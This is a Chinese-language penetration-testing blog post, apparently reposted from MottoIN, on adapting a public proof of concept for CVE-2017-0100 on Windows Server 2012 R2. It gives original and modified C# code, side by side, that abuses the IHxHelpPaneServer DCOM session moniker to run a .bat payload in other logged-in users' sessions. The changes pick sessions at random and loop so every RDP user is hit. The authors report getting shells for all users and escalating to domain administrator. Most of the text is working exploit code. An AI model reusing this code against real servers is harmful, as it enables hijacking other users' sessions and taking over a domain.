我们在一个Windows Server 2012 R2系统钟获得了低权限后,一直没有进展,后来我们注意到了CVE-2017-0100,理论上,它允许我们在服务器上把每个用户上的活动会话执行有效载荷。漏洞和概念验证漏洞由JamesForshaw 提交; 我们修改了它以适应我们的情况。概念证明使用具有DCOM激活器的会话标记来允许用户在另一登录用户的会话中开始任意过程。
在分析完原始的概念证明之后,我们需要进行一些修改以适应我们的情况。
这里是原始代码:
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format
("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System),
"notepad.exe"));
server.Execute(target.AbsoluteUri);
在确定目标参数本质上只是可执行文件的路径之后,我们尝试的第一件事是尝试由Casey Smith的博客发布的Regsvr32.exe有效负载。但是,我们无法获取IHxHelpPaneServer服务器的执行函数来接受参数。
我们决定找到一个路径并将一个小的.bat文件放到里面去,这个路径是,每个用户都可以访问的“C:\ TEMP\”。
这里是我们修改后的代码:
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format
("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri("C:\\TEMP\\testing.bat");
server.Execute(target.AbsoluteUri);
原始的概念证明将收集主机上的每个会话的会话ID,但随后只在一个会话上执行代码。
这里是原始代码:
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
}
我们的情况要求我们可以在每个用户的上下文中执行代码,而不是仅记录第一个会话。为此,我们只需在现有IEnumerable的“sessions”对象中随机选择一个会话,并使用该会话来执行我们的有效载荷。由于随机选择的性质,你可以在同一用户上执行两次代码;。
这里是我们修改后的代码:
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
Random rnd = new Random();
int r = rnd.Next(sessions.Count());
new_session_id = sessions.ElementAt(r);
break;
}
Thread.Sleep(1000);
}
}
原始代码将执行一次然后退出。为了解决这个问题,我们只需让IHxHelpPaneServer在while循环中执行功能。
这里是原始代码:
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
new_session_id = sessions.First();
break;
}
Thread.Sleep(1000);
}
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker
(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(Path.Combine(Environment.GetFolderPath
(Environment.SpecialFolder.System), "notepad.exe"));
server.Execute(target.AbsoluteUri);
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
这里是我们修改的代码:
try
{
int current_session_id = Process.GetCurrentProcess().SessionId;
int new_session_id = 0;
Console.WriteLine("Waiting For a Target Session");
while (true)
{
IEnumerable<int> sessions = GetSessionIds().Where(id => id != current_session_id);
if (sessions.Count() > 0)
{
Random rnd = new Random();
int r = rnd.Next(sessions.Count());
new_session_id = sessions.ElementAt(r);
Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id);
Thread.Sleep(20000);
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker
(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri("C:\\TEMP\\testing.bat");
server.Execute(target.AbsoluteUri);
}
Thread.Sleep(60000);
}
}
catch (Exception ex)
{
Console.WriteLine(ex);
}
我们明白,我们很高兴能够把詹姆斯·福索(James Forshaw发现的漏洞对应我们的情况来修改并成功,最后我们在远程桌面服务器上的每个用户成功地生成了shell。使用这些权限,我们可以升级到域管理员。
*作者:inspired,转载请注明来自MottoIN